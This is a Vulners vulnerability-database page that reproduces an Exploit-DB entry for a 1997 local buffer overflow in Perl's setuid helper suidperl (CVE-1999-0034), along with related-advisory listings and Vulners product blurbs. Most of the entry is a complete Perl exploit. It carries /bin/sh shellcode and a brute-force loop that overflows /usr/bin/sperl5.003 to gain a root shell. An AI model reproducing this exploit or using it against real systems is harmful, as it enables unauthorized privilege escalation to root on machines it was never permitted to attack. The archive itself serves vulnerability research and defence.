Lucene search
+L

BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (1)

🗓️ 17 Apr 1997 00:00:00Reported by Pavel KankovskyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 21 Views

SUIDperl local buffer overflows may allow root compromise on BSD and SGI systems.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-1999-0034
29 Sep 199904:00
cve
Cvelist
CVE-1999-0034
29 Sep 199904:00
cvelist
Exploit DB
BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (2)
17 Apr 199700:00
exploitdb
Exploit DB
BSDi SUIDPerl - Local Stack Buffer Overflow
21 Nov 200000:00
exploitdb
Exploit DB
suid_perl 5.001 - Command Execution
1 Jun 199600:00
exploitdb
EUVD
EUVD-1999-0034
7 Oct 202500:30
euvd
NVD
CVE-1999-0034
29 May 199704:00
nvd
Positive Technologies
PT-1997-1017 · Perl · Perl
29 May 199700:00
ptsecurity
RedhatCVE
CVE-1999-0034
7 Jan 202609:43
redhatcve
SUSE CVE
SUSE CVE-1999-0034
6 Aug 202404:50
susecve
Rows per page
source: https://www.securityfocus.com/bid/708/info

Several buffer overflows were found in the Perl helper application 'suidperl' or 'sperl'. When this program is installed setuid root the overflows may lead to a local root compromise.

 #!/usr/bin/perl

 # yes, this suidperl exploit is in perl, isn't it wonderful? :)

 $| = 1;

 $shellcode =
 "\x90" x 512 . # nops
 "\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
 # "standard shellcode" by Aleph One
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 # start and end of .data
 # adjust this using /proc/*/maps

 $databot = 0x080a2000;
 $datatop = 0x080ab000;

 # trial and error loop

 $address = $databot + 4;

 while ($address < $datatop) {
 $smash_me =
 $shellcode . ('A' x (2052 - length($shellcode))) .
 (pack("l", $address) x 1000) . ('B' x 1000);
 $pid = fork();
 if (!$pid) {
 exec('/usr/bin/sperl5.003', $smash_me);
 }
 else {
 wait;
 if ($? == 0) {
 printf("THE MAGIC ADDRESS WAS %08x\n", $address);
 exit;
 }
 }
 $address += 128;
 }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01175
21